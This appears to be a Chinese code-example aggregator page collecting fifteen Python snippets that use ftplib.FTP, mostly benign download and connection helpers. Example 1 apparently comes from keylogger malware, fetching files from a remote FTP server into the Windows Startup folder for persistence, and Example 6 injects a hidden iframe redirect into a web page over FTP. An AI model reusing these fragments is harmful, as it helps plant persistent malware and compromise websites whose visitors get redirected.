本文整理汇总了Python中ftplib.FTP属性的典型用法代码示例。如果您正苦于以下问题:Python ftplib.FTP属性的具体用法?Python ftplib.FTP怎么用?Python ftplib.FTP使用的例子?那么恭喜您, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在类ftplib
的用法示例。
在下文中一共展示了ftplib.FTP属性的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: ftpupdate
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def ftpupdate():
try:
chtodir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
try:
os.chdir(chtodir)
except Exception as e:
print e
ftp = FTP(ip)
ftp.login(ftpuser, ftpkey)
ftp.cwd(directory)
for filename in ftp.nlst(filematch):
fhandle = open(filename, 'wb')
ftp.retrbinary('RETR ' + filename, fhandle.write)
fhandle.close()
if filematch in os.listdir(chtodir):
deleteoldstub()
except Exception as e:
print e
return True
#Function to send key strokes via email
示例2: _get_file_list
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def _get_file_list(self, working_dir, file_regex=re.compile(r'.*'), ftp=None):
"""
Get file list from ftp server filtered by taxon
:return: Tuple of (Generator object with Tuple(
file name, info object), ftp object)
"""
if ftp is None:
ftp = ftplib.FTP(BGEE_FTP)
ftp.login("anonymous", "info@monarchinitiative.org")
working_dir = "{}{}".format(self.version, working_dir)
LOG.info('Looking for remote files in %s', working_dir)
ftp.cwd(working_dir)
remote_files = ftp.nlst()
# LOG.info('All remote files \n%s', '\n'.join(remote_files))
files_to_download = [
dnload for dnload in remote_files if re.match(file_regex, dnload) and
re.findall(r'^\d+', dnload)[0] in self.tax_ids]
# LOG.info('Choosing remote files \n%s', '\n'.join(list(files_to_download)))
return files_to_download, ftp
示例3: connect
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def connect(self, params={}):
self.logger.info("Connect: Connecting..")
host = params.get('host')
username = params.get('credentials').get('username', 'anonymous')
password = params.get('credentials').get('password', 'test@test.com')
# Use secure mode?
secure = params.get('secure', False)
# Use passive mode?
passive = params.get('passive', False)
# Either ftplib.FTP or ftplib.FTP_TLS
base_ftp_class = ftplib.FTP
if secure:
base_ftp_class = ftplib.FTP_TLS
my_session_factory = ftputil.session.session_factory(
base_class=base_ftp_class,
use_passive_mode=passive)
try:
self.ftp_host = ftputil.FTPHost(host, username,
password, session_factory=my_session_factory)
except ftputil.error.PermanentError as e:
raise e
示例4: redirect_internal
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def redirect_internal(self, url, fp, errcode, errmsg, headers, data):
if 'location' in headers:
newurl = headers['location']
elif 'uri' in headers:
newurl = headers['uri']
else:
return
void = fp.read()
fp.close()
# In case the server sent a relative URL, join with original:
newurl = basejoin(self.type + ":" + url, newurl)
# For security reasons we do not allow redirects to protocols
# other than HTTP, HTTPS or FTP.
newurl_lower = newurl.lower()
if not (newurl_lower.startswith('http://') or
newurl_lower.startswith('https://') or
newurl_lower.startswith('ftp://')):
raise IOError('redirect error', errcode,
errmsg + " - Redirection to url '%s' is not allowed" %
newurl,
headers)
return self.open(newurl)
示例5: redirect_internal
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def redirect_internal(self, url, fp, errcode, errmsg, headers, data):
if 'location' in headers:
newurl = headers['location']
elif 'uri' in headers:
newurl = headers['uri']
else:
return
fp.close()
# In case the server sent a relative URL, join with original:
newurl = basejoin(self.type + ":" + url, newurl)
# For security reasons we do not allow redirects to protocols
# other than HTTP, HTTPS or FTP.
newurl_lower = newurl.lower()
if not (newurl_lower.startswith('http://') or
newurl_lower.startswith('https://') or
newurl_lower.startswith('ftp://')):
raise IOError('redirect error', errcode,
errmsg + " - Redirection to url '%s' is not allowed" %
newurl,
headers)
return self.open(newurl)
示例6: main
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def main():
host = raw_input('Please Input Hostname Or IP: ')
while not host:
host = raw_input('Please Input Hostname Or IP: ')
username = raw_input('Please Input Username: ')
while not username:
username = raw_input('Please Input Username: ')
password = raw_input('Please Input Password: ')
while not password:
password = raw_input('Please Input Password: ')
webpage = raw_input('Please Input WebPage For Injecting: ')
while not webpage:
webpage = raw_input('Please Input WebPage For Injecting: ')
url = raw_input('Please Input The Url Which Will Be Injected: ')
while not url:
url = raw_input('Please Input The Url Which Will Be Injected: ')
ftp = ftplib.FTP(host)
ftp.login(username, password)
redirect = '<iframe src = "'+url+'"></iframe>'
injectPage(ftp, webpage, redirect)
示例7: main
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def main():
host = raw_input('Please Input Hostname Or IP: ')
while not host:
host = raw_input('Please Input Hostname Or IP: ')
username = raw_input('Please Input Username: ')
while not username:
username = raw_input('Please Input Username: ')
password = raw_input('Please Input Password: ')
while not password:
password = raw_input('Please Input Password: ')
ftp = ftplib.FTP(host)
try:
ftp.login(username, password)
except Exception, e:
print e
示例8: main
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def main():
try:
f = ftplib.FTP(HOST)
except (socket.error, socket.gaierror) as e:
print('ERROR: 无法连接 "{}"'.format(HOST))
return
print('*** 已连接到 "{}"'.format(HOST))
try:
f.login()
except ftplib.error_perm:
print('ERROR: 无法匿名登录')
f.quit()
return
print('*** 已匿名身份登录')
try:
f.cwd(DIRN)
except ftplib.error_perm:
print('ERROR: 无法跳转到 "{}" 目录'.format(DIRN))
f.quit()
return
print('*** 跳转到 "{}" 目录'.format(DIRN))
try:
f.retrbinary('RETR %s' % FILE, open(FILE, 'wb').write)
except ftplib.error_perm:
print('ERROR: 无法读取文件 "{}"'.format(FILE))
os.unlink(FILE)
else:
print('*** 已下载 "{}" 到当前目录'.format(FILE))
f.quit()
示例9: download
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def download(self, db="fungi", release="current"):
import ftplib
f = ftplib.FTP('ftp.ensemblgenomes.org')
f.login("anonymous", "anonymous")
f.cwd("pub/%s/%s" % (db, release))
f.cwd("fasta")
species = f.nlst()
print(species)
for this in species:
print(this)
if this.endswith('collection'):
f.cwd(this)
subdirs = f.nlst()
for thisdir in subdirs:
print(thisdir)
f.cwd(thisdir)
f.cwd('dna')
files = f.nlst()
todownload = [x for x in files if x.endswith("dna.genome.fa.gz") ]
for filename in todownload:
f.retrbinary('RETR %s'%filename ,open(filename, "wb").write)
f.cwd("../../")
f.cwd('..')
else:
continue
f.cwd(this)
f.cwd('dna')
files = f.nlst()
todownload = [x for x in files if x.endswith("dna.genome.fa.gz") ]
for filename in todownload:
f.retrbinary('RETR %s'%filename ,open(filename, "wb").write)
f.cwd("../../")
示例10: check
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def check(url, ip, ports, apps):
if verify(vuln, ports, apps):
try:
ftp = ftplib.FTP(ip)
ftp.login('anonymous', 'anonymous')
return 'FTP anonymous Login'
except Exception as e:
pass
示例11: build_opener
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def build_opener(*handlers):
"""Create an opener object from a list of handlers.
The opener will use several default handlers, including support
for HTTP, FTP and when applicable HTTPS.
If any of the handlers passed as arguments are subclasses of the
default handlers, the default handlers will not be used.
"""
def isclass(obj):
return isinstance(obj, type) or hasattr(obj, "__bases__")
opener = OpenerDirector()
default_classes = [ProxyHandler, UnknownHandler, HTTPHandler,
HTTPDefaultErrorHandler, HTTPRedirectHandler,
FTPHandler, FileHandler, HTTPErrorProcessor]
if hasattr(http_client, "HTTPSConnection"):
default_classes.append(HTTPSHandler)
skip = set()
for klass in default_classes:
for check in handlers:
if isclass(check):
if issubclass(check, klass):
skip.add(klass)
elif isinstance(check, klass):
skip.add(klass)
for klass in skip:
default_classes.remove(klass)
for klass in default_classes:
opener.add_handler(klass())
for h in handlers:
if isclass(h):
h = h()
opener.add_handler(h)
return opener
示例12: open_file
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def open_file(self, url):
"""Use local file or FTP depending on form of URL."""
if not isinstance(url, str):
raise URLError('file error: proxy support for file protocol currently not implemented')
if url[:2] == '//' and url[2:3] != '/' and url[2:12].lower() != 'localhost/':
raise ValueError("file:// scheme is supported only on localhost")
else:
return self.open_local_file(url)
示例13: ftperrors
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def ftperrors():
"""Return the set of errors raised by the FTP class."""
global _ftperrors
if _ftperrors is None:
import ftplib
_ftperrors = ftplib.all_errors
return _ftperrors
示例14: init
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def init(self):
import ftplib
self.busy = 0
self.ftp = ftplib.FTP()
self.ftp.connect(self.host, self.port, self.timeout)
self.ftp.login(self.user, self.passwd)
_target = '/'.join(self.dirs)
self.ftp.cwd(_target)
示例15: _ftp_connect
# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import FTP [as 别名]
def _ftp_connect(self):
try:
self.conn.voidcmd("NOOP")
return True
except:
if self.tls:
self.conn = ftplib.FTP_TLS()
else:
self.conn = ftplib.FTP()
self.conn.connect(self.host, self.port, timeout=self.timeout)
self.conn.login(self.username, self.password)
if self.tls:
self.conn.prot_p()